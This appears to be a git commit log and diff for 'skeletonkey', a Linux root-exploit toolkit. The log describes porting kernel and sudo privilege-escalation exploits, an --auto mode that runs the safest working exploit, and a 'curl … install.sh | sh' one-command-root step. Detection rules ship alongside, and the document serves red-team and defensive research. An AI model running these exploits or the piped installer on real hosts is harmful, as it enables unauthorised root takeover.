module_safety_rank additions:
- pack2theroot: 95 (userspace D-Bus TOCTOU; dpkg + /tmp SUID footprint
  — clean but heavier than pwnkit's gconv-modules-only path).
- dirtydecrypt / fragnesia: 86 (page-cache writes; one step below the
  verified copy_fail/dirty_frag family at 88 to prefer verified
  modules when both apply).

Docs:
- README badge / tagline / tier table /  block / example output /
  v0.5.0 status — all updated to "28 verified + 3 ported".
- CVES.md counts line, the ported-modules note (now calling out
  pack2theroot's high-confidence detect vs. precondition-only for
  the page-cache pair), inventory row, operations table row.
- ROADMAP Phase 7+: pack2theroot moved out of carry-overs into the
  "landed (ported, pending VM verification)" group; added a new
  "--auto accuracy work" subsection documenting the dispatcher
  hardening landed in this commit.
- docs/index.html: scanning-count example bumped to 31, status line
  updated to mention 3 ported modules.

Build verification: full `make clean && make` in `docker gcc:latest`
with libglib2.0-dev installed: links into a 31-module skeletonkey
ELF (413KB), `--list` shows all modules including pack2theroot,
`--detect-rules --format=auditd` emits the new pack2theroot section,
`--auto --i-know --no-shell` exercises the new banner + active
probes + verdict table + fork isolation + scan summary end-to-end.
Only build warning is the pre-existing
`-Wunterminated-string-initialization` in dirty_pipe (not introduced
here).
2026-05-22 22:42:07 -04:00
leviathan ac557b67d0 review pass: fidelity + credits + count consistency for ported modules
Three-agent rigorous review of the dirtydecrypt + fragnesia ports plus
repo-wide doc consistency, followed by a full Linux build verification.

dirtydecrypt (NOTICE + detection rules):
- NOTICE.md: removed an unsupported "Zellic co-founder" detail and a
  fabricated disclosure-date narrative; tightened phrasing of the
  Zellic + V12 credit; noted that upstream poc.c carries no
  author/license header of its own.
- Embedded auditd + sigma rules and detect/sigma.yml broadened to
  cover every binary in dd_targets[] (added /usr/bin/mount,
  /usr/bin/passwd, /usr/bin/chsh) and added the b32 splice rule, so
  the embedded ruleset matches the on-disk reference and the carrier
  list the exploit actually targets.
- Exploit primitive verified byte-for-byte against the V12 PoC
  (tiny_elf[] identical, all rxgk/XDR/fire/pagecache_write logic
  token-identical). docker gcc:latest compile of the Linux path:
  COMPILE_OK, zero warnings.

fragnesia: review found no defects. Exploit primitive byte-identical
to the V12 PoC (shell_elf[] 192 bytes identical, AF_ALG GCM keystream
table + userns/netns/XFRM + receiver/sender/run_trigger_pair all
faithful). The deliberate omissions (ANSI TUI, CLI arg parsing) drop
nothing exploit-critical. docker gcc:latest compile: COMPILE_OK; full
project build links into a working skeletonkey ELF and --list shows
the module registered correctly.

Repo docs (README.md / CVES.md / ROADMAP.md):
- Chose to keep "28 verified" as the headline; the two ported
  modules are represented as a separate clearly-labelled tier
  ("ported-but-unverified") that is explicitly excluded from the
  28-module verified counts. README + CVES.md + ROADMAP.md now tell
  one consistent story.
- Filled a pre-existing documentation gap: sudo_samedit, sequoia,
  sudoedit_editor, vmwgfx were registered + built but absent from
  CVES.md's inventory + operations tables. Added rows synthesized
  from each module's .cve / .summary / .kernel_range fields.
- ROADMAP Phase 8 "7 🟡 PRIMITIVE modules" → "14"; added a "Landed
  since v0.1.0" group; moved vmwgfx out of the stale carry-overs.

docs site (docs/index.html):
- Stat box "28 / total modules" → "28 / verified modules" (the 14+14
  breakdown now sums to the headline consistently).
- Terminal example "scanning 28 modules" → "scanning 30 modules"
  (was factually wrong — the binary literally prints module_count()
  which is 30).
- Status line: updated to mention the 2 ported-but-unverified
  modules and mirror the README phrasing.
- docs/LAUNCH.md left as a dated v0.5.0 launch snapshot.

Build verification: `docker run gcc:latest make clean && make` —
links into a 30-module skeletonkey ELF on Linux. macOS dev box still
hits the pre-existing dirty_pipe header gap; unchanged.

.gitignore: added /skeletonkey to exclude the top-level build
artifact (the existing modules/*/skeletonkey only covered per-module
binaries; the root one was getting picked up by `git add -A`).
2026-05-22 18:41:37 -04:00
leviathan a8c8d5ef1f modules: add dirtydecrypt (CVE-2026-31635) + fragnesia (CVE-2026-46300)
Two new page-cache-write LPE modules, both ported from the public V12
security PoCs (github.com/v12-security/pocs):

- dirtydecrypt (CVE-2026-31635): rxgk missing-COW in-place decrypt.
  rxgk_decrypt_skb() decrypts spliced page-cache pages before the HMAC
  check, corrupting the page cache of a read-only file. Sibling of
  Copy Fail / Dirty Frag in the rxrpc subsystem.

- fragnesia (CVE-2026-46300): XFRM ESP-in-TCP skb_try_coalesce() loses
  the SHARED_FRAG marker, so the ESP-in-TCP receive path decrypts
  page-cache pages in place. A latent bug exposed by the Dirty Frag
  fix (f4c50a4034e6). Retires the old _stubs/fragnesia_TBD stub.

Both wrap the PoC exploit primitive in the skeletonkey_module
interface: detect/exploit/cleanup, an --active /tmp sentinel probe,
--no-shell support, and embedded auditd + sigma rules. The exploit
body runs in a forked child so the PoC's exit()/die() paths cannot
tear down the dispatcher. The fragnesia port drops the upstream PoC's
ANSI TUI (incompatible with a shared dispatcher); the exploit
mechanism is reproduced faithfully. Linux-only code is guarded with
#ifdef __linux__ so the modules still compile on non-Linux dev boxes.

VERIFICATION: ported, NOT yet validated end-to-end on a
vulnerable-kernel VM. The CVE fix commits are not pinned, so detect()
is precondition-only (PRECOND_FAIL / TEST_ERROR, never a blind
VULNERABLE) and --auto will not fire them unless --active confirms.
macOS stub-path compiles verified locally; the Linux exploit-path
build is covered by CI (build.yml, ubuntu) only. See each MODULE.md.

Wiring: core/registry.h, skeletonkey.c, Makefile, CVES.md, ROADMAP.md.
2026-05-22 18:22:30 -04:00
leviathan 3b287f84f0 copy_fail_family: skip DIRTYFAIL typed prompt under --i-know
The vendored DIRTYFAIL exploits call typed_confirm("DIRTYFAIL"), which
reads stdin interactively. SKELETONKEY already gates --exploit/--auto
behind --i-know, so the prompt is redundant and deadlocks non-interactive
runs like `skeletonkey --auto --i-know`.

Add a dirtyfail_assume_yes flag, forwarded from skeletonkey_ctx.authorized
by the bridge layer's apply_ctx(). When set, typed_confirm() auto-satisfies
its gate and logs that it did so.

The YES_BREAK_SSH self-lockout guard is exempt — it protects the
operator's own access rather than gating authorization, so it still
requires an interactive answer.

Standalone DIRTYFAIL builds are unchanged: the flag defaults false.
2026-05-22 16:49:15 -04:00
leviathan 33f81aeb69 site: revert CVE table → pill grid
The sortable table was denser but lost the visual scan-ability of
the color-coded pill grid. Restoring the pill view: two grouped
sections (🟢 / 🟡) each showing every module name as a pill.

Drops the table-sort JS (~25 lines) and the .cve-table CSS block.
2026-05-17 02:25:25 -04:00
leviathan 5be3c46719 CONTRIBUTING: fix stale IAMROOT_EXPLOIT_OK → SKELETONKEY_EXPLOIT_OK
Two references missed during the IAMROOT → SKELETONKEY rename in
v0.4.0. The enum value in core/module.h is SKELETONKEY_EXPLOIT_OK.
2026-05-17 02:24:06 -04:00
leviathan 58fb2e0951 site: simplify nav + add sortable CVE chart
nav: removed Releases / CVEs / Defenders links — kept only a
    right-aligned GitHub link with the Octocat SVG icon.
  index.html: replaced pill-grid corpus view with a proper sortable
    table — Year, CVE, Bug, Module, Tier columns. Click headers to
    sort. Defaults to Year descending. 28 rows covering 2016 → 2026.
  style.css: added .nav-github (border-pill style) + table styles
    (sortable headers with arrow indicators, hover rows, mobile-
    responsive font-size + overflow-x scroll).

JS for sort is ~25 lines vanilla — no library.
2026-05-17 02:22:54 -04:00
leviathan 2904fa159c site: GitHub Pages landing page
Single-page static site under /docs/, served by GitHub Pages from
the main branch /docs source.

  docs/index.html: hero with one-liner + copy button, why-this-exists,
    corpus stats + module pills (14 🟢 + 14 🟡), audience cards
    (red/blue/sysadmin/CTF), terminal-shape worked example,
    verified-vs-claimed bar, quickstart commands, status, footer.
  docs/style.css: dark theme matching GitHub's color palette
    (#0d1117 bg, #c9d1d9 text). System sans for prose, ui-monospace
    for code. Mobile-responsive with grid breakpoints. No JS framework,
    no external fonts, no analytics.
  docs/.nojekyll: disable Jekyll so the static HTML is served
    verbatim and the existing /docs/*.md files stay as raw markdown
    (viewable via GitHub UI, not the Pages site).
2026-05-17 02:14:15 -04:00
leviathan 2873133852 README: polish — accurate counts, audience table, corpus glance
Module counts were stale: 13 🟢 + 11 🟡 → corrected to 14 🟢 + 14 🟡
    (sudoedit_editor is new 🟢; sudo_samedit + sequoia + vmwgfx are
    new 🟡 from the v0.5.0 batch).
  Added 'Who it's for' table — red team / sysadmin / blue team / CTF
    each get a row.
  Added 'Corpus at a glance' section with explicit module lists per
    tier, replacing the prose paragraph that buried the names.
  Tightened Quickstart — removed duplicate one-liner block, single
    canonical command set.
  Worked example switched from fictional dirty_pipe to the actual
    --auto output shape (pwnkit pick on a vulnerable Ubuntu 5.15).
  Honest 'Status' framing — acknowledges no empirical end-to-end
    validation yet, calls it the next roadmap item. Replaces the
    aspirational 'CI-tested across a distro matrix' claim.
  Added 'How it works' (was 'Architecture' + 'Build & run' merged
    into a clearer flow) and 'The verified-vs-claimed bar' section
    explaining why most modules ship without per-kernel offsets.
2026-05-17 02:02:50 -04:00
leviathan 95135213e5 launch: README polish + CONTRIBUTING + LAUNCH.md
README.md: badges (release / license / module-count / platform),
    sharpened hero stating value prop in one sentence, audience
    framing for red team / sysadmin / blue team.
  CONTRIBUTING.md (new): what we accept (offsets, modules, detection
    rules, bug reports) and what we don't (untested EXPLOIT_OK,
    fabricated offsets, 0days, undisclosed CVEs).
  docs/LAUNCH.md (new): ~600-word HN/blog launch post. Copy-paste
    ready. Explains the verified-vs-claimed bar + --auto + the
    operator-populated offset table approach.

GitHub repo description + 11 topics set via gh repo edit so the
repo is discoverable in topic searches (linux-security,
privilege-escalation, cve, redteam, blueteam, etc.).
2026-05-17 01:59:25 -04:00
leviathan 0fbe1b058f v0.5.0: --auto mode + sysadmin one-liner
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
skeletonkey.c: new --auto subcommand. Scans every module's detect(),
    filters to VULNERABLE, ranks by safety (structural > page-cache >
    userspace > kernel-primitive > race), runs the safest exploit.
    Requires --i-know. If the safest fails, suggests next candidates.

  README.md: 'One-command root' Quickstart section showing
    curl … install.sh | sh && skeletonkey --auto --i-know
    — the sysadmin/red-team one-liner.

  Status: bumped 0.4.5 → 0.5.0; corpus 24 → 28 modules (4 new in
    parallel batch: sudo_samedit, sequoia, sudoedit_editor, vmwgfx).
2026-05-17 01:55:13 -04:00
leviathan e13edd0cfd modules: add sudo_samedit + sequoia + sudoedit_editor + vmwgfx
sudo_samedit (CVE-2021-3156): Qualys Baron Samedit, userspace heap
    overflow in sudoedit -s. Version-range detect; Qualys-style trigger
    fork+verify (no per-distro offsets shipped — EXPLOIT_FAIL honest).
  sequoia (CVE-2021-33909): Qualys size_t→int wrap in seq_buf_alloc.
    Userns reach + 5000-level nested tree + bind-mount amplification +
    /proc/self/mountinfo read triggers stack-OOB write. No JIT-spray.
  sudoedit_editor (CVE-2023-22809): Synacktiv EDITOR/VISUAL '--' argv
    escape. Structural exploit — no offsets. Helper-via-sudoedit
    appends 'skel::0:0:' line to /etc/passwd, su to root.
  vmwgfx (CVE-2023-2008): DRM buffer-object OOB write in VMware guests.
    Detect requires DMI VMware + /dev/dri/cardN vmwgfx driver.

All four refuse cleanly on kctf-mgr (patched 6.12.86 / sudo 1.9.16p2).
2026-05-17 01:53:18 -04:00
leviathan 5a73565e0e scaffold: 4 new module dirs (sudo_samedit, sequoia, sudoedit_editor, vmwgfx)
Stubs returning PRECOND_FAIL. Parallel agents fill in real detect/exploit.
2026-05-17 01:47:28 -04:00
leviathan 324b539d65 README: bump Status to v0.4.5 2026-05-16 23:09:19 -04:00
leviathan e668c3301f banner: drop ASCII art, plain text only
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
Replace the skeleton-key ASCII art with a single-line text banner.

Bump 0.4.4 → 0.4.5.
2026-05-16 23:05:40 -04:00
leviathan 347a9af832 banner: give the bit actual teeth
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
Previous staircase pattern was just trailing decoration — not real
key teeth. Redesigned the bit as a hanging rectangle with two
clearly-projecting notch-teeth on its right edge (the part that
engages a lock's wards). Switched to box-drawing chars for the bit
since they make sharper notches than 8/b/d glyphs; bow stays
ornate-ASCII style.

Bump 0.4.3 → 0.4.4.
2026-05-16 23:04:14 -04:00
leviathan 023289a03a banner: artwork is the focal point — plain SKELETONKEY text below
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
Previous banner had a SKELETONKEY block-letter art that competed
with the skeleton-key drawing for visual attention. Simplified:
the key art is now the focal point, and SKELETONKEY is rendered
as plain spaced text below the drawing.

Slight refinement to the key art: bow is a bit larger (888 instead
of 88) to feel more substantial. Bit/teeth pattern unchanged.

Bump 0.4.2 → 0.4.3.
2026-05-16 23:01:14 -04:00
leviathan e7ced5db7c banner: more detailed ornate skeleton key
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
The v0.4.1 box-drawing key was minimalist — round bow, line shaft,
small bit. Replaced with a more detailed ornate skeleton-key
silhouette in the classic ASCII-art-of-keys tradition:

  - Round bow with internal "hole" rendered via stylized 8/b/d/'
    pattern (suggests the decorative loop you'd grip)
  - Long shaft running right across the banner
  - Bit at the end with a staircase notch pattern (the iconic
    "key-tooth" descent showing the wards that engage the lock)

Same height as the previous banner. SKELETONKEY block letters
below unchanged.

Bump 0.4.1 → 0.4.2.
2026-05-16 22:57:01 -04:00
68 changed files with 9694 additions and 764 deletions
+16 -2
View File
@@ -22,7 +22,8 @@ jobs:
run: |
sudo apt-get update -qq
sudo apt-get install -y --no-install-recommends \
build-essential clang make linux-libc-dev
build-essential clang make linux-libc-dev \
libglib2.0-dev pkg-config
- name: show compiler
run: ${{ matrix.cc }} --version
@@ -54,6 +55,18 @@ jobs:
- name: sanity — --detect-rules sigma
run: ./skeletonkey --detect-rules --format=sigma | head -50
- name: tests — detect() unit suite
env:
CC: ${{ matrix.cc }}
run: |
# Run as a non-root user so modules' "already root" gates do
# not short-circuit before the synthetic host-fingerprint
# checks fire. The test binary itself is platform-agnostic;
# the assertions are #ifdef __linux__ guarded.
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
sudo chown -R skeletonkeyci .
sudo -u skeletonkeyci make test
# Static build job: ensures the project links cleanly when -static is
# requested. Useful for deployment to minimal containers / fleet scans
# where shared-libc availability isn't guaranteed.
@@ -66,7 +79,8 @@ jobs:
run: |
sudo apt-get update -qq
sudo apt-get install -y --no-install-recommends \
build-essential make linux-libc-dev libc6-dev
build-essential make linux-libc-dev libc6-dev \
libglib2.0-dev pkg-config
- name: make static
# Glibc static linking pulls in NSS at runtime which breaks
# getpwnam; the legacy DIRTYFAIL Makefile noted this. For now,
+2
View File
@@ -6,6 +6,8 @@ build/
modules/*/build/
modules/*/dirtyfail
modules/*/skeletonkey
/skeletonkey
/skeletonkey-test
.vscode/
.idea/
*.swp
+89
View File
@@ -0,0 +1,89 @@
# Contributing to SKELETONKEY
SKELETONKEY is a curated corpus. PRs welcome for the things below.
For everything else, open an issue first to discuss scope.
## What we accept
### 1. Kernel offsets for the `--full-chain` table
The 11 🟡 PRIMITIVE modules use the shared finisher in
`core/finisher.c` to convert their primitive into a root pop via
`modprobe_path` overwrite. That needs `&modprobe_path` (and friends)
at runtime — resolved via env vars / `/proc/kallsyms` /
`/boot/System.map` / the embedded `kernel_table[]` in
`core/offsets.c`.
The embedded table is **empty by default** to honor the
no-fabricated-offsets rule. Every entry must come from a real kernel
you have root on.
**Workflow:**
```bash
sudo skeletonkey --dump-offsets # on the target kernel build
# Paste the printed C struct entry into core/offsets.c kernel_table[]
# Open a PR titled "offsets: <distro> <kernel_release>"
```
Include in the PR body:
- Distro + kernel version (`uname -a`, `cat /etc/os-release`)
- How you verified the offsets (kallsyms / System.map / debuginfo)
- Whether `--full-chain` succeeds end-to-end against any 🟡 module
on that kernel (if you can test on a vulnerable build)
### 2. New modules
A new CVE module is welcome if:
- The bug is **patched in upstream mainline** (no 0days here)
- It has a public CVE assignment or clear advisory
- The kernel range it affects has realistic deployment footprint
- You can include a working detect() with branch-backport ranges
- You ship matching detection rules (auditd at minimum)
Use any existing module as a template. Lightest-weight reference:
`modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c`.
Mandatory:
- Detect short-circuits cleanly on patched kernels (we test this)
- `--i-know` gate on exploit
- Honest scope: `SKELETONKEY_EXPLOIT_OK` only after empirical root,
otherwise `EXPLOIT_FAIL` with diagnostic
- `NOTICE.md` crediting the original CVE reporter + PoC author
After the module file exists, wire it into:
- `core/registry.h` (extern declaration)
- `skeletonkey.c` main() (register call)
- `Makefile` (new objects + ALL_OBJS)
- `CVES.md` (inventory entry)
### 3. Detection rules
If you're adding only detection coverage (no exploit) for an
existing or new CVE, that's fine. Drop a sigma rule into the module
or a new auditd rule file.
### 4. Bug reports + CVE-status corrections
Distro backports that patched a CVE without bumping the upstream
version → file an issue. Same for kernels we mis-classify as
vulnerable.
## What we don't accept
- Untested code paths claiming `SKELETONKEY_EXPLOIT_OK`
- Per-kernel offsets fabricated without verification
- Modules without detection rules
- 0day disclosures (responsible disclosure first; bundle here
after upstream patch ships)
- Container escapes that don't chain to host root
## Code style
C99. Match the surrounding file. Run `make` and the existing
CI build (`.github/workflows/build.yml`) before opening the PR.
## License
By contributing you agree your work is MIT-licensed.
+41 -2
View File
@@ -23,7 +23,33 @@ Status legend:
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
historical reference only
**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
**Counts:** 31 modules total — 28 verified (🟢 14 · 🟡 14) plus 3
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`
see note below). 🔵 0 · ⚪ 0 planned-with-stub · 🔴 0. (One ⚪ row
below — CVE-2026-31402 — is a *candidate* with no module, not counted
as a module.)
> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three
> are ported from public PoCs. The **exploit bodies** are not yet
> VM-verified end-to-end, so they're listed 🟡 but excluded from the
> 28-module verified corpus.
>
> All three now have **pinned fix commits and version-based
> `detect()`**:
> - `pack2theroot` reads PackageKit's `VersionMajor/Minor/Micro` over
> D-Bus and compares against fix release **1.3.5** (commit `76cfb675`).
> - `dirtydecrypt` uses the `kernel_range` model against mainline fix
> **`a2567217`** (Linux 7.0); kernels < 7.0 predate the vulnerable
> rxgk code per Debian's tracker.
> - `fragnesia` uses `kernel_range` against mainline **7.0.9**; older
> Debian-stable branches (5.10/6.1/6.12) are still listed vulnerable
> on Debian's tracker — backport entries will extend the table as
> distros publish them.
>
> `--auto` auto-enables active probes (forked per module so a probe
> crash cannot tear down the scan), which lets all three give an
> empirical confirmation on top of the version verdict. See each
> module's `MODULE.md`.
Every module ships a `NOTICE.md` crediting the original CVE
reporter and PoC author. `skeletonkey --dump-offsets` populates the
@@ -59,7 +85,13 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
| CVE-2021-3156 | sudo Baron Samedit — `sudoedit -s` heap overflow | LPE (userspace setuid sudo) | sudo 1.9.5p2 (Jan 2021) | `sudo_samedit` | 🟡 | Qualys Baron Samedit. Heap overflow via `sudoedit -s '\'` escaped-backslash parsing. Affects sudo 1.8.2 ≤ V ≤ 1.9.5p1. Heap-tuned exploit — may crash sudo on a mismatched layout. Ships auditd + sigma rules. |
| CVE-2021-33909 | Sequoia — `seq_file` size_t overflow → kernel stack OOB | LPE (kernel stack OOB write) | mainline 5.13.4 / 5.10.52 / 5.4.134 (Jul 2021) | `sequoia` | 🟡 | Qualys Sequoia. `size_t`-to-`int` conversion in `seq_file` drives an OOB write off the kernel stack via a deeply-nested directory mount. Primitive-only — fires the overflow + records a witness; no portable cred chain. Branch backports: 5.13.4 / 5.10.52 / 5.4.134. Ships auditd rule. |
| CVE-2023-22809 | sudoedit `EDITOR`/`VISUAL` `--` argv escape | LPE (userspace setuid sudoedit) | sudo 1.9.12p2 (Jan 2023) | `sudoedit_editor` | 🟢 | Structural argv-injection — an extra `--` in `EDITOR`/`VISUAL` makes setuid `sudoedit` open an attacker-chosen file as root. No kernel state, no offsets, no race. Affects sudo 1.8.0 ≤ V < 1.9.12p2. Ships auditd + sigma rules. |
| CVE-2023-2008 | vmwgfx DRM buffer-object size-validation OOB | LPE (kernel R/W via kmalloc-512 OOB) | mainline 6.3-rc6 (Apr 2023) | `vmwgfx` | 🟡 | vmwgfx DRM `bo` size-validation gap → OOB write in kmalloc-512. Affects 4.0 ≤ K < 6.3-rc6 on hosts with the `vmwgfx` module loaded (VMware guests). Primitive-only — fires the OOB + slab witness; no cred chain. Branch backports: 6.2.10 / 6.1.23. Ships auditd rule. |
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
## Operations supported per module
@@ -91,6 +123,13 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
| sudo_samedit | ✓ | ✓ (primitive) | — (upgrade sudo) | ✓ (crumb nuke) | ✓ (auditd + sigma) |
| sequoia | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (nested-tree + mount teardown) | ✓ (auditd) |
| sudoedit_editor | ✓ | ✓ | — (upgrade sudo) | ✓ (revert written file) | ✓ (auditd + sigma) |
| vmwgfx | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
## Pipeline for additions
+79 -5
View File
@@ -20,7 +20,7 @@ BUILD := build
BIN := skeletonkey
# core/
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c core/host.c
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
# Family: copy_fail_family
@@ -126,17 +126,90 @@ NPL_DIR := modules/nft_payload_cve_2023_0179
NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
SAM_DIR := modules/sudo_samedit_cve_2021_3156
SAM_SRCS := $(SAM_DIR)/skeletonkey_modules.c
SAM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SAM_SRCS))
SEQ_DIR := modules/sequoia_cve_2021_33909
SEQ_SRCS := $(SEQ_DIR)/skeletonkey_modules.c
SEQ_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SEQ_SRCS))
SUE_DIR := modules/sudoedit_editor_cve_2023_22809
SUE_SRCS := $(SUE_DIR)/skeletonkey_modules.c
SUE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUE_SRCS))
VMW_DIR := modules/vmwgfx_cve_2023_2008
VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
# Family: dirtydecrypt (CVE-2026-31635) — rxgk page-cache write
DDC_DIR := modules/dirtydecrypt_cve_2026_31635
DDC_SRCS := $(DDC_DIR)/skeletonkey_modules.c
DDC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DDC_SRCS))
# Family: fragnesia (CVE-2026-46300) — XFRM ESP-in-TCP page-cache write
FGN_DIR := modules/fragnesia_cve_2026_46300
FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c
FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS))
# Family: pack2theroot (CVE-2026-41651) — PackageKit TOCTOU userspace LPE.
# Needs GLib/GIO for D-Bus; the build autodetects via `pkg-config gio-2.0`.
# When absent (e.g. no libglib2.0-dev on the build host), the module
# compiles as a stub that returns PRECOND_FAIL with a hint to install
# the dev package and rebuild.
P2TR_DIR := modules/pack2theroot_cve_2026_41651
P2TR_SRCS := $(P2TR_DIR)/skeletonkey_modules.c
P2TR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(P2TR_SRCS))
P2TR_GIO_OK := $(shell pkg-config --exists gio-2.0 2>/dev/null && echo 1 || echo 0)
ifeq ($(P2TR_GIO_OK),1)
P2TR_CFLAGS := $(shell pkg-config --cflags gio-2.0) -DPACK2TR_HAVE_GIO
P2TR_LIBS := $(shell pkg-config --libs gio-2.0)
else
P2TR_CFLAGS :=
P2TR_LIBS :=
endif
# Per-object CFLAGS for the pack2theroot translation unit (GLib include
# paths). Target-specific vars are scoped to this object's recipe.
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
# Top-level dispatcher
TOP_OBJ := $(BUILD)/skeletonkey.o
